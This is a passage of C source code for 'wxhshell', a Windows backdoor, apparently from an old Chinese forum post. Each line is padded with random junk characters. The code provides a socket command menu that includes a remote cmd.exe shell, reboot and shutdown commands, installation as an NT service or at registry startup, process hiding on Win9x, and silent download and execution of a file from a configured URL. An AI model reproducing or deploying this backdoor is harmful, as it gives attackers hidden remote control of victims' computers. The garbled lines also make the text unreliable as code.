  // 帮助 9Kl:3C  
  case '?': { |-+IF,j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V7~tIhuJH  
    break; Yf&P|Iiw  
  } )O}q{4,}  
  // 安装 #LU<v  
  case 'i': { b9Fd}WZz  
    if(Install()) cpLlkR O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zv.R~lMtY  
    else Hs6?4cgj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .R";2f3  
    break; =5l20 Um  
    } Po B-:G6  
  // 卸载 "39\@Ow  
  case 'r': { 2oBT _o%/J  
    if(Uninstall()) "O (N=|b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uE'O}Y95  
    else #S4lRVt5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.YXK%A%  
    break; ?:woUTyCv  
    } `xXpP"*o}  
  // 显示 wxhshell 所在路径 NoAgZ{))  
  case 'p': { }w_r(g?\  
    char svExeFile[MAX_PATH]; _-+xzdGvX  
    strcpy(svExeFile,"\n\r"); :@~W$f\y  
      strcat(svExeFile,ExeFile); *r90IS}A$2  
        send(wsh,svExeFile,strlen(svExeFile),0); w! kWG,{C  
    break; [C-4*qOaa2  
    } j0wpaIp  
  // 重启 V$?@ z>7  
  case 'b': { VZ3{$0 +  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (/ qOY  
    if(Boot(REBOOT)) 1fOH$33  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |O';$a1S  
    else { Mil+> X0  
    closesocket(wsh); je#OV,uHM  
    ExitThread(0); d8C44q+ds  
    } ?:AD&Dn  
    break; m+!T $$W  
    } MW|*Z{6*  
  // 关机 6k9cvMs%H  
  case 'd': { Abc%VRsT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }nx5  
    if(Boot(SHUTDOWN)) $*')Sma  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [C^&iLX/F*  
    else { JYw_Z*L=m  
    closesocket(wsh); E#zLm  
    ExitThread(0); nRHxbE}::  
    } MBn ZO  
    break; W/@-i|v  
    } t9eEcq Mg  
  // 获取shell n@te.,?A"  
  case 's': { E' _6v  
    CmdShell(wsh); 1@:BUE;jZ  
    closesocket(wsh); Dbg,|UH  
    ExitThread(0); `k.0d`3(  
    break; L/c`t7  
  } M* 0zvNg  
  // 退出 Y/<`C  
  case 'x': { <N(r -  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f`K[oCfu  
    CloseIt(wsh); vdaG?+_o  
    break; ?#~km0~F)  
    } 7U1^=Y@t}  
  // 离开 ty\F~]Oo  
  case 'q': { &V(;zy4(R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <~teD[1k"  
    closesocket(wsh); mJ>msI @  
    WSACleanup(); hX)PdRk#  
    exit(1); 9)*218.  
    break; ,(3oAj\  
        } Ay@/{RZz  
  } Ws/\ lD  
  } {\vcwMUzZ  
Y(&rlL(sPK  
  // 提示信息 0dW*].Gi:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \C<'2KZR,  
} }eAV8LU  
  } e'A 1%g)  
1|dXbyUd  
  return; . e_VPKF|  
} y>>)Yo&|  
1t/mq?z:  
// shell模块句柄 B|K^:LUk9  
int CmdShell(SOCKET sock) 8ByNaXMO6  
{ xzXNcQ  
STARTUPINFO si; 8?hZ5QvA(j  
ZeroMemory(&si,sizeof(si)); |Ae7wXOs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q9Vj8JO"{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -Q6Vz=ku  
PROCESS_INFORMATION ProcessInfo; watTV\b  
char cmdline[]="cmd"; 0TaN#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9qk J<  
  return 0; #T=e p0  
} =Eb$rc)  
4\E1M[6  
// 自身启动模式 Qp9QS yMs}  
int StartFromService(void) u7S C_3R  
{ Q`!^EyRA:^  
typedef struct 3 MCV?"0  
{ EXsVZg"#  
  DWORD ExitStatus; M(1cf(<+  
  DWORD PebBaseAddress; AC*SmQ\>!  
  DWORD AffinityMask; d&lT/S  
  DWORD BasePriority; ^^g u  
  ULONG UniqueProcessId; udS&$/&GH  
  ULONG InheritedFromUniqueProcessId; 67Ev$a_d"  
}   PROCESS_BASIC_INFORMATION; OF0v0Y/a  
R*?!xDJ  
PROCNTQSIP NtQueryInformationProcess; 0oe2X1.%  
WRrg5&._q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LYr9a(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ; xL8W  
LrT? ]o  
  HANDLE             hProcess; }`aT=_B  
  PROCESS_BASIC_INFORMATION pbi; {e5-  
L|nFN}da  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a ?\:,5=  
  if(NULL == hInst ) return 0; KGGnypx`  
l.(|&U~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BMtk/r/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x)pR^t7u8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $pIo`F _W  
_S,UpR~2W  
  if (!NtQueryInformationProcess) return 0; T*g}^TEh  
R8 LHwRQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5j v*C]z  
  if(!hProcess) return 0; 7uf5w0]  
T oT('  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1p$*N  
SW5n?Qj3-  
  CloseHandle(hProcess); 5LZs_%#  
IgRi(q^b-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x=-(p}0o;<  
if(hProcess==NULL) return 0; v4K! BW  
1h#/8 X  
HMODULE hMod; *\ B(-  
char procName[255]; &- !$qUli  
unsigned long cbNeeded;  F&lH5  
I Bko"|e@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A H=%6oT2  
,L MN@G  
  CloseHandle(hProcess); "3'a.b akw  
f@q.kD21  
if(strstr(procName,"services")) return 1; // 以服务启动 Z|fi$2k0!  
KdD~;Ap$  
  return 0; // 注册表启动 mwMu1#  
} HXX9D&c4R  
)L7[;(gQ  
// 主模块 ^=a:{["@!  
int StartWxhshell(LPSTR lpCmdLine) s8'!1rHd  
{ aHb&+/HZ  
  SOCKET wsl; Vk*XiEfKm>  
BOOL val=TRUE; F+?i{$  
  int port=0; stMxlG"d  
  struct sockaddr_in door; J1 w3g,  
|onLJY7)  
  if(wscfg.ws_autoins) Install(); LK!sk5/  
ThkCKM  
port=atoi(lpCmdLine); #DARZhU)  
"kC6G%  
if(port<=0) port=wscfg.ws_port; xAO\'#m  
rP,|  
  WSADATA data; gI9nxy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l>L?T#v!_  
(D6ks5Uui  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X"mPRnE330  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >rSCf=  
  door.sin_family = AF_INET; LpI4R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j}K 3YfH  
  door.sin_port = htons(port); .3jijc j  
X$G:3uoN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q@8(e&{#W  
closesocket(wsl); dcTZL$  
return 1; 9UV}`UM3V  
} 1 <m.Q*  
[O}D^qp  
  if(listen(wsl,2) == INVALID_SOCKET) { 9V~hz (^  
closesocket(wsl);  Hyenn  
return 1; he@Y1CY  
} J_j4Zb% K  
  Wxhshell(wsl); `sy_'`i>X  
  WSACleanup(); $FDGHFM  
B*E"yB\NV  
return 0; ZsCwNZR  
XiV K4sD8  
} U3-MvI,Q  
HRQfT>"/  
// 以NT服务方式启动 @HnahD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Jjo H1E@  
{ t/%[U,m  
DWORD   status = 0; @[`]w`9Q7  
  DWORD   specificError = 0xfffffff; UUM:*X  
@MoCEtt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R?,v:S&i7;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k^cnNx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sn 7 h$  
  serviceStatus.dwWin32ExitCode     = 0; ?)-anoFyVW  
  serviceStatus.dwServiceSpecificExitCode = 0; 'vZy-qHrV  
  serviceStatus.dwCheckPoint       = 0; ??|,wIRz  
  serviceStatus.dwWaitHint       = 0; %&lwp  
<Wj /A/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ftRdK>a D  
  if (hServiceStatusHandle==0) return; BZKg:;9  
DY/%|w*L  
status = GetLastError(); O*N:.|dUw  
  if (status!=NO_ERROR) ,J<+Wxz  
{ MSp) Jc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SMU 8U  
    serviceStatus.dwCheckPoint       = 0; (KfQ'B+  
    serviceStatus.dwWaitHint       = 0; |mdf u=  
    serviceStatus.dwWin32ExitCode     = status; 7Up-a^k^`  
    serviceStatus.dwServiceSpecificExitCode = specificError; :uqEGnEut  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KG96;l@'(  
    return; _ 5b~3K/V  
  } .m%5Esx  
Sht3\cJ8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (JE&1 @  
  serviceStatus.dwCheckPoint       = 0; ;<6S\  
  serviceStatus.dwWaitHint       = 0; Nr"GxezU+A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9KT85t1#  
} .vIRz-S  
*IF ~ab2  
// 处理NT服务事件,比如:启动、停止 }s#4m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BvHI}=  
{ 31M'71s  
switch(fdwControl) h CV(O2jL  
{ ' ~z`kah  
case SERVICE_CONTROL_STOP: &Ot9"Aq:  
  serviceStatus.dwWin32ExitCode = 0; 8{7'w|/;.{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; up~p_{x)Q  
  serviceStatus.dwCheckPoint   = 0; O`PQ4Q*F  
  serviceStatus.dwWaitHint     = 0; I8IH\5k  
  { 8Bxb~*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CHL5@gg@>y  
  } mM+^v[=  
  return; $%ztP Ta  
case SERVICE_CONTROL_PAUSE: @)z?i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !NKPy+v  
  break; 83'rQDo)G  
case SERVICE_CONTROL_CONTINUE: 'g} Q@@b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >{rD3X"d  
  break; n2["Ln mO  
case SERVICE_CONTROL_INTERROGATE: uhwCC  
  break; K8QEHc:  
}; u2U+uD@yA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S6_dmTV*  
} :0o]#7  
5fp&!HnG  
// 标准应用程序主函数 -.Z;n1'^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `{}DLaD9  
{ !Pd)  
Q[aBxy (  
// 获取操作系统版本 Xcg+ SOB  
OsIsNt=GetOsVer(); Of<Vr.m{R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'm/`= QX  
G49`a*Jn  
  // 从命令行安装 C3K")BO!  
  if(strpbrk(lpCmdLine,"iI")) Install(); d#I; e  
<*ME&c gh4  
  // 下载执行文件 ^X:g C9  
if(wscfg.ws_downexe) { U/\LOIs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -8t&&fIA  
  WinExec(wscfg.ws_filenam,SW_HIDE); x!?$y_t  
} h]o{> |d9  
7X.B  
if(!OsIsNt) { "?"+1S  
// 如果时win9x,隐藏进程并且设置为注册表启动 |W|RX3D  
HideProc(); Z. xOO|  
StartWxhshell(lpCmdLine); % +M,FgW  
} {9nH#yv  
else j$z!kd+%  
  if(StartFromService()) OX{2@+f#  
  // 以服务方式启动 1?".R]<{2T  
  StartServiceCtrlDispatcher(DispatchTable); r}#,@<  
else C4eQ.ep  
  // 普通方式启动 [-3x*?Ju  
  StartWxhshell(lpCmdLine); Tpp?(lT7r  
XILreATK@  
return 0; z'k@$@:0XD  
}
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只看该作者 1 发表于: 2006-10-10
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